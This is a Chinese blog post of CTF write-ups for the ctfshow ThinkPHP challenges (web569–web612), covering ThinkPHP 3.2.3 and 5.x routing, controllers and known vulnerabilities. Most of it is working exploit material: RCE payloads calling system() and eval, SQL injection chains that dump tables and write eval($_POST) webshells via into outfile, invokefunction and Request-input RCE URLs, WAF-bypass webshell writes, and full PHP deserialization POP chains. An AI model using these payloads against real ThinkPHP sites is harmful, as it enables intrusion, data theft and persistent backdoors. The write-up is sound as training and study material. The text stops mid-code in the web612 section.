目录

  1. 1. 前言
  2. 2. TP3
  3. 3. web569(pathinfo)
    1. 3.1. URL模式
      1. 3.1.1. 普通模式
      2. 3.1.2. PATHINFO模式
      3. 3.1.3. REWRITE模式
      4. 3.1.4. 兼容模式
    2. 3.2. 题目
  4. 4. web570(路由)
    1. 4.1. 路由
      1. 4.1.1. 路由定义
      2. 4.1.2. 规则路由、正则路由、静态路由
      3. 4.1.3. 闭包支持
    2. 4.2. 题目
  5. 5. web571(控制器)
    1. 5.1. 控制器
      1. 5.1.1. 定义
      2. 5.1.2. 前置后置操作
      3. 5.1.3. Action参数绑定
      4. 5.1.4. 其它配置
      5. 5.1.5. 内置方法
      6. 5.1.6. 变量过滤
    2. 5.2. 题目
      1. 5.2.1. show方法渲染内容
  6. 6. web572(日志泄露)
    1. 6.1. 日志泄露
    2. 6.2. 题目
  7. 7. web573(sql注入)
  8. 8. web574
    1. 8.1. 本地调试分析
    2. 8.2. 题目
  9. 9. web575
    1. 9.1. 解法一:show方法命令执行
    2. 9.2. 解法二:thinkphp3.2.3反序列化
  10. 10. web576(comment注释注入)
  11. 11. web577(exp注入)
  12. 12. web578(变量覆盖导致rce)
  13. 13. TP5
  14. 14. web579(未开启强制路由RCE)
  15. 15. web604
  16. 16. web605
  17. 17. web606
  18. 18. web607
  19. 19. web608
  20. 20. web609
  21. 21. web610
  22. 22. web611(5.1.38反序列化rce)
  23. 23. web612(禁ajax & withattr)
  24. 24. web613(禁pjax)
  25. 25. web614(禁write)
  26. 26. web615(禁read)
  27. 27. web616(禁display)
  28. 28. web617(禁fetch)
  29. 29. web618(禁invokeFunction)
  30. 30. web619(禁each)
  31. 31. web620(禁map)
  32. 32. web621(禁filter)
  33. 33. web622(禁reduce)
  34. 34. input链
  35. 35. TP6
  36. 36. web623(TP6反序列化)
  37. 37. web624(6.0.12链)
  38. 38. web625(禁display)
  39. 39. web626(禁call)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow ThinkPHP专题

2023/11/18 Web CMS ctfshow
  |     |   总文章阅读量:

前言

结合我的另一篇ThinkPHP反序列化研究来学习

此专题需要自备tp源码方便调试

参考博客:

https://blog.csdn.net/miuzzx/article/details/119410335

https://blog.csdn.net/qq_53263789/article/details/122402321

TP3

web569(pathinfo)

版本3.2.3

flag在Admin模块的Login控制器的ctfshowLogin方法中

我们先查一下官方文档:https://www.kancloud.cn/manual/thinkphp/1697


URL模式

先了解一下ThinkPHP3.2.3的标准URL格式

http://serverName/index.php/模块/控制器/操作

注:ThinkPHP框架的URL区分大小写,如果要不区分需要在框架内配置(当开启调试模式的情况下,这个参数是false)

'URL_CASE_INSENSITIVE'  =>  true,  

如果我们直接访问入口文件的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(Home)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:

http://serverName/index.php
http://serverName/index.php/Home/Index/index

这种URL模式就是系统默认的PATHINFO模式,可以设置URL_MODEL参数改变URL模式

URL模式 URL_MODEL设置
普通模式 0
PATHINFO模式 1
REWRITE模式 2
兼容模式 3

普通模式

传统的GET传参方式来指定当前访问的模块和操作

例如: http://localhost/?m=home&c=user&a=login&var=value(这里m参数表示模块,c参数表示控制器,a参数表示操作,后面的表示其他GET参数)

我们可以修改对应的系统配置来更改变量名(注:VAR_MODULE只能在应用配置文件中设置,其他参数可以则也可以在模块配置中设置)

'VAR_MODULE'            =>  'module',     // 默认模块获取变量
'VAR_CONTROLLER'        =>  'controller',    // 默认控制器获取变量
'VAR_ACTION'            =>  'action',    // 默认操作获取变量

上面的访问地址则变成: http://localhost/?module=home&controller=user&action=login&var=value

PATHINFO模式

默认的url模式,不过依然可以采用普通URL模式的参数方式

http://localhost/index.php/home/user/login/var/value/

前三个参数分别表示模块/控制器/操作

  • 在PATHINFO模式下,URL是可定制的,配置:

    // 更改PATHINFO参数分隔符
    'URL_PATHINFO_DEPR'=>'-', 

    于是访问的url就要改成http://localhost/index.php/home-user-login-var-value

REWRITE模式

在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件index.php,但是需要额外配置WEB服务器的重写规则

以Apache为例,在入口文件的同级添加.htaccess文件:

<IfModule mod_rewrite.c>
 RewriteEngine on
 RewriteCond %{REQUEST_FILENAME} !-d
 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>

那么访问的url就变成了http://localhost/home/user/login/var/value

兼容模式

用于不支持PATHINFO的特殊环境

http://localhost/?s=/home/user/login/var/value

可以更改兼容模式变量的名称定义:

'VAR_PATHINFO'          =>  'path'

也可以像上面PATHINFO模式一样更改参数分隔符:

// 更改PATHINFO参数分隔符
'URL_PATHINFO_DEPR'=>'-', 

url变为:http://localhost/?path=/home-user-login-var-value

也可以通过重写web服务器规则定义来实现和REWRITE模式一样的效果

<IfModule mod_rewrite.c>
 RewriteEngine on
 RewriteCond %{REQUEST_FILENAME} !-d
 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteRule ^(.*)$ index.php?s=/$1 [QSA,PT,L]
</IfModule>

url变为:http://localhost/home/user/login/var/value


题目

回到题目,题目告诉我们是pathinfo模式,根据题目要求,我们可以直接访问

/index.php/Admin/Login/ctfshowLogin

即可得到flag


web570(路由)

版本3.2.3

黑客建立了闭包路由后门,你能找到吗

了解一下路由:https://www.kancloud.cn/manual/thinkphp/1705

路由

PATH_INFO模式或兼容URL模式下使用,配置文件中开启,可以针对模块也可以针对全局

// 开启路由
'URL_ROUTER_ON'   => true, 

配置路由规则:

'URL_ROUTE_RULES'=>array(
    'news/:year/:month/:day' => array('News/archive', 'status=1'),
    'news/:id'               => 'News/read',
    'news/read/:id'          => '/news/:1',
),

路由定义

'路由表达式'=>'路由地址和传入参数'array('路由表达式','路由地址','传入参数')

  • 路由表达式:

    表达式 示例
    正则表达式 /^blog/(\d+)$/
    规则表达式 blog/:id
  • 路由地址:

    定义方式 定义格式
    方式1:路由到内部地址(字符串) ‘[控制器/操作]?额外参数1=值1&额外参数2=值2…’
    方式2:路由到内部地址(数组)参数采用字符串方式 array(‘[控制器/操作]’,’额外参数1=值1&额外参数2=值2…’)
    方式3:路由到内部地址(数组)参数采用数组方式 array(‘[控制器/操作]’,array(‘额外参数1’=>’值1’,’额外参数2’=>’值2’…)[,路由参数])
    方式4:路由到外部地址(字符串)301重定向 ‘外部地址’
    方式5:路由到外部地址(数组)可以指定重定向代码 array(‘外部地址’,’重定向代码’[,路由参数])
    方式6:闭包函数 function($name){ echo ‘Hello,’.$name;}

    如果定义的是全局路由(在公共模块的配置文件中定义),那么路由地址的定义格式中需要增加模块名,如:

    'blog/:id'=>'Home/blog/read' // 表示路由到Home模块的blog控制器的read操作方法

    如果路由地址以“/”或者“http”开头则会认为是一个重定向地址或者外部地址

  • 路由参数:

    限制URL后缀:

    'blog/:id'=>array('blog/read','status=1&app_id=5',array('ext'=>'html')),	// 限制了html后缀访问该路由规则生效

    限制请求类型:

    'blog/:id'=>array('blog/read','status=1&app_id=5',array('method'=>'get')),	// 限制了只有GET请求

    自定义检测:

    'blog/:id'=>array('blog/read','status=1&app_id=5',array('callback'=>'checkFun')),	// 自定义checkFun函数来检测是否生效,如果函数返回false则表示不生效

规则路由、正则路由、静态路由

这个建议直接看文档

闭包支持

可以使用闭包的方式定义一些特殊需求的路由,而不需要执行控制器的操作方法

'URL_ROUTE_RULES'=>array(
    'test'        => 
        function(){ 
            echo 'just test';
        },
    'hello/:name' => 
        function($name){ 
            echo 'Hello,'.$name;
        }
    'blog/:year/:month' => 
    function($year,$month){ 
        echo 'year='.$year.'&month='.$month;
    }
    '/^new\/(\d{4})\/(\d{2})$/' => 
    function($year,$month){ 
        echo 'year='.$year.'&month='.$month;
    }
  • 参数传递:

    规则路由下访问http://serverName/Home/hello/thinkphp则输出Hello,thinkphp,对应第二个路由规则

    正则路由下访问http://serverName/Home/new/2013/03则输出year=2013&month=03,对应第四个路由规则

  • 继续执行:

    默认的情况下,使用闭包定义路由的话,一旦匹配到路由规则,执行完闭包方法之后,就会中止后续执行。

    如果希望闭包函数执行后,后续的程序继续执行,可以在闭包函数中使用布尔类型的返回值,例如:

    'hello/:name' => 
        function($name){ 
            echo 'Hello,'.$name.'<br/>';
            $_SERVER['PATH_INFO'] = 'blog/read/name/'.$name;	// 重新设置了$_SERVER['PATH_INFO']变量,交给后续的程序继续执行
            return false;	// 返回值是false,所以会继续执行控制器和操作的检测
        }

    假设blog控制器中的read操作方法代码如下:

    public function read($name){
        echo 'read,'.$name.'!<br/>';
    }

    访问http://serverName/Home/hello/thinkphp,则输出

    Hello,thinkphp
    read,thinkphp!

题目

给了我们Application的附件

我们解压下来审计一下

先全局搜索一下URL_ROUTER_ON,在Common/Conf/config.php

image-20231221003302749

我们可以知道这里的路由规则是访问ctfshow路由,后面的两个参数会作为call_user_func函数的参数进行命令执行

那么我们可以直接调用system函数命令执行

image-20231221003908235

此时就有一个问题了,我们在路由里构造不出/,所以我们直接用assert回调后门

payload:

index.php/ctfshow/assert/eval($_POST[1])

然后post请求里传入参数1进行任意命令执行


web571(控制器)

版本3.2.3

hello,黑客建立了控制器后门,你能找到吗

了解一下控制器:https://www.kancloud.cn/manual/thinkphp/1712

控制器

ThinkPHP的控制器是一个类,而操作则是控制器类的一个公共方法

demo:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function hello(){
        echo 'hello,thinkphp!';
    }
}

Home\IndexController类就代表了Home模块下的Index控制器,而hello操作就是Home\IndexController类的hello(公共)方法

所以访问http://serverName/index.php/Home/Index/hello,会输出hello,thinkphp!

定义

必须是公共方法,尽量避免和系统的保留方法相冲突

保留方法:

display
get
show
fetch
theme
assign
error
success

设置操作方法的后缀:

'ACTION_SUFFIX'         =>  'Action', // 操作方法后缀

这样控制器的操作方法定义就为

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function listAction(){
        echo 'list';
    }

    public function helloAction(){
        echo 'hello';
    }

    public function testAction(){
        echo 'test';
    }
}

注:后缀设置只是影响控制器类的定义,对URL访问没有影响

前置后置操作

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
    //前置操作方法
    public function _before_index(){
        echo 'before<br/>';
    }
    public function index(){
        echo 'index<br/>';
    }
    //后置操作方法
    public function _after_index(){
        echo 'after<br/>';
    }
}

访问http://serverName/index.php/Home/Index/index,则输出

before
index
after

注:

  1. 如果当前的操作并没有定义操作方法,而是直接渲染模板文件,那么如果定义了前置和后置方法的话,依然会生效。真正有模板输出的可能仅仅是当前的操作,前置和后置操作一般情况是没有任何输出的。
  2. 需要注意的是,在有些方法里面使用了exit或者错误输出之类的话 有可能不会再执行后置方法了。例如,如果在当前操作里面调用了控制器类的error方法,那么将不会再执行后置操作,但是不影响success方法的后置方法执行。

Action参数绑定

通过直接绑定URL地址中的变量作为操作方法的参数,可以简化方法的定义甚至路由的解析

配置:

'URL_PARAMS_BIND'       =>  true, // URL变量绑定到操作方法作为参数
  • 按变量名绑定(默认):

    demo:

    namespace Home\Controller;
    use Think\Controller;
    class BlogController extends Controller{
        public function read($id){
            echo 'id='.$id;
        }
    
        public function archive($year='2013',$month='01'){
            echo 'year='.$year.'&month='.$month;
        }
    }

    url访问:

    http://serverName/index.php/Home/Blog/read/id/5,输出id=5

    http://serverName/index.php/Home/Blog/archive/year/2013/month/11,输出year=2013&month=11

    注:按照变量名进行参数绑定的参数必须和URL中传入的变量名称一致,但是参数顺序不需要一致

    以下访问url等价

    http://serverName/index.php?s=/Home/Blog/archive/year/2013/month/11
    http://serverName/index.php?s=/Home/Blog/archive/month/11/year/2013
    http://serverName/index.php?c=Blog&a=archive&year=2013&month=11

    如果直接访问http://serverName/index.php/Home/Blog/read/没加id参数且id参数没有默认值的话会报错

  • 按变量顺序绑定:(仅对PATHINFO地址有效)

    配置:

    'URL_PARAMS_BIND_TYPE'  =>  1, // 设置参数绑定按照变量顺序绑定

    访问地址变为:

    http://serverName/index.php/Home/Blog/read/5
    http://serverName/index.php/Home/Blog/archive/2013/11

    输出和上面一样

    但是如果改成http://serverName/index.php/Home/Blog/archive/11/2013,此时输出就会变成year=11&month=2013

其它配置

'URL_HTML_SUFFIX'=>'shtml'	// 设置伪静态后缀
'URL_CASE_INSENSITIVE' =>true	// URL访问不区分大小写

内置方法

  • U:动态的根据当前的URL设置生成对应的URL地址,确保项目在移植过程中不受环境的影响

    U('地址表达式',['参数'],['伪静态后缀'],['显示域名'])
    U('User/add') // 生成User控制器的add操作的URL地址
    U('Blog/read?id=1') // 生成Blog控制器的read操作 并且id为1的URL地址
    U('Admin/User/select') // 生成Admin模块的User控制器的select操作的URL地址
  • I:获取系统输入变量

    I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
    I('get.id'); // 相当于 $_GET['id']
    I('get.id',0); // 如果不存在$_GET['id'] 则返回0
    I('get.name','','htmlspecialchars'); // 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串
    I('get.'); // 获取整个$_GET 数组
    I('post.name','','htmlspecialchars'); // 采用htmlspecialchars方法对$_POST['name'] 进行过滤,如果不存在则返回空字符串
    I('session.user_id',0); // 获取$_SESSION['user_id'] 如果不存在则默认为0
    I('cookie.'); // 获取整个 $_COOKIE 数组
    I('server.REQUEST_METHOD'); // 获取 $_SERVER['REQUEST_METHOD'] 
    I('param.id');	// 自动判断当前请求类型
    I('path.1'); // 获取URL参数(必须是PATHINFO模式),对http://serverName/index.php/New/2013/06/01,会输出2013
    I('data.file1','','',$_FILES);	// 获取不支持的变量类型的读取

变量过滤

// 系统默认的变量过滤机制,也就说,I方法的所有获取变量如果没有设置过滤方法的话都会进行htmlspecialchars过滤
'DEFAULT_FILTER'        => 'htmlspecialchars'
I('get.name'); 	// 等同于 htmlspecialchars($_GET['name'])

其余的自己看文档吧


题目

审计代码

先看一下Home模块下的控制器IndexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($n=''){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
    }

}

可以发现这里实际上会接受一个参数n来调用show方法,这个方法是一个保留方法

show方法渲染内容

如果没有定义任何模板文件,或者把模板内容存储到数据库中的话,就需要使用show方法来渲染输出了

show('渲染内容'[,'字符编码'][,'输出类型'])
// 例:
$this->show($content);
$this->show($content, 'utf-8', 'text/xml');

show方法中的内容也可以支持模板解析

把Application文件丢到本地环境调试一下:

动态跟踪show方法

image-20231221231514458

一路跟踪display方法

image-20231221231634150

继续跟踪到fetch方法

image-20231221225742960

可以发现这个方法中存在命令执行的部分

我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中

if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) {
    // 使用PHP原生模板
    $_content = $content;
    // 模板阵列变量分解成为独立变量
    extract($this->tVar, EXTR_OVERWRITE);
    // 直接载入PHP模板
    empty($_content) ? include $templateFile : eval('?>' . $_content);
}

怎么让TMPL_ENGINE_TYPE为php呢,这里琢磨了一圈发现原来题目靶机的TMPL_ENGINE_TYPE是php,而我们本地能够命令执行则是因为生成的缓存文件被include了,要改也很简单,在 ThinkPHP/Conf/convention.php 把TMPL_ENGINE_TYPE的键值改成php即可

那么最终的payload就是:

http://050f2deb-9b96-4fe6-b5df-5af1c67aa8ce.challenge.ctf.show/index.php/home/index/index?n=<?php system('ls /');?>

web572(日志泄露)

版本3.2.3

hello,没有源码,如何获取黑客的蛛丝马迹?

这题没给源码,猜测存在信息泄露

日志泄露

thinkphp在开启DEBUG的情况下会在Runtime目录下生成日志

入口文件中可以开启调试模式:

// 开启调试模式
define('APP_DEBUG', true);

ThinkPHP3的日志一般会生成的位置

/Runtime/Logs/
/App/Runtime/Logs/
/Application/Runtime/Logs/Admin/
/Application/Runtime/Logs/Home/
/Application/Runtime/Logs/

而ThinkPHP5会生成在/runtime/log/202105/17.log

题目

那么我们要做的就是,抓包直接爆破这个日志的日期

先访问当天的日志,测试发现在/Application/Runtime/Logs/Home/下

image-20231222124806690

设置一下爆破的格式(题目告诉我们爆破不超过365次)

image-20231222124822263

更改年份多爆几次,最后得到另一个日志的日期为21_04_15

image-20231222125201524

可以看到这里的日志内容是进行了一次命令执行

我们尝试复现一下

image-20231222125424301

那么我们的payload就是

/index.php?showctf=<?php system('ls /');?>

web573(sql注入)

hello user1,get id =1?

参数是id,用where注入即可,分析参考我的另一篇文章:https://c1oudfl0w0.github.io/blog/2023/10/24/ThinkPHP%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/#where%E6%B3%A8%E5%85%A5

我这里用报错注入

查数据库

?id[where]=1 and 1=updatexml(1,concat(0x7e,database(),0x7e),1)%23

返回ctfshow

查表

?id[where]=1 and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23

返回ctfshow_users,flags

查列名

?id[where]=1 and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags'),0x7e),1)%23

返回id,flag4s

查字段

?id[where]=1 and 1=updatexml(1,concat(0x7e,(select flag4s from flags),0x7e),1)%23

截取

?id[where]=1 and 1=updatexml(1,concat(0x7e,substr((select flag4s from flags),32,20),0x7e),1)%23

于是得到flag

或者直接联合注入也可以

?id[where]=id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
?id[where]=id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flags'%23
?id[where]=id=0 union select 1,group_concat(flag4s),3,4 from flags%23

web574

index改成了下面这样

public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

和上题的区别是这里先用where进行查询,然后用find读取数据

本地调试分析

本地调试一下(我没准备渲染文件所以这里$this->show($html)要直接换成var_dump($name)

依旧是用1'做测试

一路跟到ThinkPHP\Library\Think\Model.class.php:1998的 where 方法这里

image-20240305170137011

image-20240305170449895

发现只执行了两个部分

if (is_string($where) && '' != $where) {
    $map            = array();
    $map['_string'] = $where;
    $where          = $map;
}
$this->options['where'] = $where;

$this->options['where']=array("_string"=>"1'")

然后继续跟进,到ThinkPHP\Library\Think\Db\Driver.class.php:536的 parseWhere 方法

此时传入的$where就是我们$this->options['where']的值也就是array("_string"=>"1'")。所以我们会进入下面的if

image-20240305171345985

可以看到此时的$key"_string" $valid=1'

进入ThinkPHP\Library\Think\Db\Driver.class.php:681的parseThinkWhere方法

image-20240305171638096

可以发现这里return的时候有一个括号包裹,即返回的内容是( id=1 )

接下来执行的sql语句为

SELECT * FROM `think_user` WHERE ( id=1' ) LIMIT 1

image-20240305171854744

这下懂了,只需要把括号闭合即可实现注入

题目

有了上面的分析,接下来就是直接打sql注入

?id=0)union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
?id=0)union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flags'%23
?id=0)union select 1,group_concat(flag4s),3,4 from flags%23

image-20240305172306352

这题也可以直接用报错注入

?id=1 and updatexml(1,concat(0x7e,(select group_concat(flag4s) from flags),0x7e),1)

web575

这题的index代码

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

这里的find方法里面有 intval 直接转换类型,导致sql注入不了

解法一:show方法命令执行

在web571中,我们知道show方法是可以执行php代码的

所以我们只需要能控制$user->username即可,随便传个id,不需要进if判断

payload:

<?php
namespace Home\Controller;

class IndexController
{
    public $id = '1';	// get传入的id也要相同
    public $username = "<?php system('cat /f*');?>";
}
echo base64_encode(serialize(new IndexController()));

image-20240305224042419

解法二:thinkphp3.2.3反序列化

分析依旧在隔壁文章,这里猜数据库名为 ctfshow,账密为 root:root

payload:

<?php

namespace Think\Image\Driver {

    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;
        public function __construct()
        {
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver {

    use Think\Model;

    class Memcache
    {
        protected $handle = null;
        public function __construct()
        {
            $this->handle = new Model();
        }
    }
}

namespace Think {

    use Think\Db\Driver\Mysql;

    class Model
    {
        protected $pk;
        protected $db;
        protected $data = array();
        public function __construct()
        {
            $this->db = new Mysql();
            $this->pk = "id";
            $this->data[$this->pk] = array(
                "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
                "where" => "1=1"
            );
        }
    }
}

namespace Think\Db\Driver {
    class Mysql
    {
        protected $config = array(
            "debug"    => 1,
            "database" => "ctfshow",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace {
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
}

image-20240306011302716

image-20240306011243648


web576(comment注释注入)

$user = M('Users')->comment($id)->find(intval($id));

注入点 id 包了一层intval,所以前面sql注入的方法用不了了

接下来重点看一下comment函数

/**
 * 查询注释
 * @access public
 * @param string $comment 注释
 * @return Model
 */
public function comment($comment)
{
    $this->options['comment'] = $comment;
    return $this;
}

下断点调试,一路跟踪到 ThinkPHP/Library/Think/Db/Driver.class.php:789 的parseComment

image-20240307171950786

这里会对$comment的内容用/**/包裹

即接下来的sql语句为

SELECT * FROM `think_user` WHERE `id` = 1 LIMIT 1   /* 1' */

那么注入就很简单了,用*/闭合即可,然后写shell

?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*

web577(exp注入)

$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();

和web574相比,多了个把 id 处理成 map 数组的操作

本地下个断点调试一下

一路f10跟进到where函数这里

image-20240307185656317

可以看到这里会把传入的值赋给$this->options['where']

往下一直走到_parseOptions函数,当经过标注的这个for循环后val被赋值了options['where']的值。

image-20240307190300947

继续,来到parseWhereparseWhereItem

image-20240307190551612

image-20240307191144004

观察代码

        if (is_array($val)) {
            if (is_string($val[0])) {
                $exp = strtolower($val[0]);
                if (preg_match('/^(eq|neq|gt|egt|lt|elt)$/', $exp)) {
                    // 比较运算
                    $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
                } elseif (preg_match('/^(notlike|like)$/', $exp)) {
// 模糊查找
                    if (is_array($val[1])) {
                        $likeLogic = isset($val[2]) ? strtoupper($val[2]) : 'OR';
                        if (in_array($likeLogic, array('AND', 'OR', 'XOR'))) {
                            $like = array();
                            foreach ($val[1] as $item) {
                                $like[] = $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($item);
                            }
                            $whereStr .= '(' . implode(' ' . $likeLogic . ' ', $like) . ')';
                        }
                    } else {
                        $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
                    }
                } elseif ('bind' == $exp) {
                    // 使用表达式
                    $whereStr .= $key . ' = :' . $val[1];
                } elseif ('exp' == $exp) {
                    // 使用表达式
                    $whereStr .= $key . ' ' . $val[1];
                }

可以发现当$val是数组时,$val[0]赋值给了$exp

如果$exp是字符串exp,最后返回的内容是$whereStr .= $key.' '.$val[1];也就是字符串id拼接上$val[1]

那么$val是怎么来的呢,在_parseOptions函数中,当经过标注的这个for循环后val被赋值了options['where']的值。其实归根结底是赋值的我们传入的id的值

所以我们只需要传入?id[0]=exp就可以进入$whereStr .= $key.' '.$val[1];,接下来我们就可以在$val[1]这里注入sql语句,得到的$whereStr绕过了parseValue的转义

即我们传入的id[1]=xxx会被放到sql语句中

payload:

?id[0]=exp&id[1]==0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()%23
?id[0]=exp&id[1]==0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flags'%23
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23

web578(变量覆盖导致rce

public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}

本地下断点调试,传入个?name=a&from=b看看

image-20240307193608942

跟进第一个函数assign,作用就是一个简单的赋值,传入的?name=a&from=b会产生$this->tVar=array('a'=>'b'),如果我们传入?name[x]=y,那么就是$this->tVar=array('x'=>'y')

接下来看display,跟进fetch

image-20240307193908061

image-20240307193941494

一眼发现在默认模板引擎为php的情况下,有 extract 函数对$this->tVar进行操作分解为独立变量,即假设$this->tVar=array('a'=>'b'),那么经过这个函数就会生成$a,值为b

接下来是判断$_content不为空则执行eval函数,所以我们可以利用 extract 函数变量覆盖掉$_content来执行php代码

payload:

?name[_content]=<?php system('cat /f*');?>

TP5

漏洞分析的文章依旧在隔壁

web579-610均为未开启强制路由RCE

web579(未开启强制路由RCE)

tp版本是5.0.15

直接打payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*

web604

tp版本5.1.29

payload一把梭了

?s=index/\think\Request/input&filter[]=system&data=cat /f*

web605

ban了input,invokefunction

可以直接写马

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php eval($_POST['cmd']);?>
cmd=system("cat /f*");

命令执行用grep找一下发现waf位置在 ../thinkphp/library/think/route/dispatch/Module.php

/**
 * 
 * 检查payload是否符合预期
 */
public static function checkPayload($action){
    $ban = array('invokefunction','input','display');
    if(in_array($action,$ban)){
        die($action.' 这条路子不通,想想其他路子~');
    }
}

exec方法中添加了self::checkPayload($action);


web606

又多ban了个write

但是考虑到 linux 环境下无视大小写,可以直接大写 WRITE 绕过

payload:

?s=index/\think\template\driver\file/Write&cacheFile=shell.php&content=<?php eval($_POST['cmd']);?>

另一个通杀payload:

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('whoami'); ?>

该payload会生成shell拼接到$content进行write写入缓存文件,接着会include模板缓存文件


web607

上一题payload就可以打穿了

看看waf

/**
 * 
 * 检查payload是否符合预期
 */
public static function checkPayload($action){
    $ban = array('invokefunction','input','write','invokeFunction','display','Load');
    if(in_array($action,$ban)){
        die($action.' 这条路子不通,想想其他路子~');
    }
}

web608

上题payload秒了

waf:

/**
 * 
 * 检查payload是否符合预期
 */
public static function checkPayload($action){
    $ban = array('invokefunction','input','write','invokeFunction','cookie','display','Load');
    if(in_array($action,$ban)){
        die($action.' 这条路子不通,想想其他路子~');
    }
}

web609

上题payload秒了

waf:

/**
 * 
 * 检查payload是否符合预期
 */
public static function checkPayload($action){
    $ban = array('invokefunction','input','write','invokeFunction','cookie','param','display','Load');
    if(in_array($action,$ban)){
        die($action.' 这条路子不通,想想其他路子~');
    }
}

web610

上题payload秒了

waf:

/**
 * 
 * 检查payload是否符合预期
 */
public static function checkPayload($action){
    $ban = array('invokefunction','input','write','invokeFunction','cookie','param','cache','display','Load');
    if(in_array($action,$ban)){
        die($action.' 这条路子不通,想想其他路子~');
    }
}

web611(5.1.38反序列化rce)

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {

        if(isset($_POST['data'])){
            @unserialize($_POST['data']);
        }
        highlight_string(file_get_contents(__FILE__));
    }


}

直接打poc

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["0w0"=>["calc.exe","calc"]];
        $this->data = ["0w0"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'0w0'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

image-20240311122335768


web612(禁ajax & withattr)

上一条链子被断了,这下得自己挖了

不过总之还是要围绕怎么调用input函数或者param来做文章 ,直接搜索谁调用input,然后进行分析即可

全局搜一下param,找可控参数多的

image-20240311163227402

这是之前payload里那条链子的

image-20240311163242378

这里把 ajax 换成 pjax 就可以整出一条新链子

所以poc为

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["0w0"=>["calc.exe","calc"]];
        $this->data = ["0w0"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_pjax"=>'0w0'];
        $this->hook = ["visible"=>[$this,"isPjax"]];
    }
}


namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

然后我们依旧看一下waf的位置

../thinkphp/library/think/Request.php

   /**
    * 当前是否Ajax请求
    * @access public
    * @param  bool $ajax  true 获取原始ajax请求
    * @return bool
    */
   public function isAjax($ajax = false)
   {
       $value  = $this->server('HTTP_X_REQUESTED_WITH');
       $result = 'xmlhttprequest' == strtolower($value) ? true : false;

       if (true === $ajax) {
           return $result;
       }
echo "此链不通";
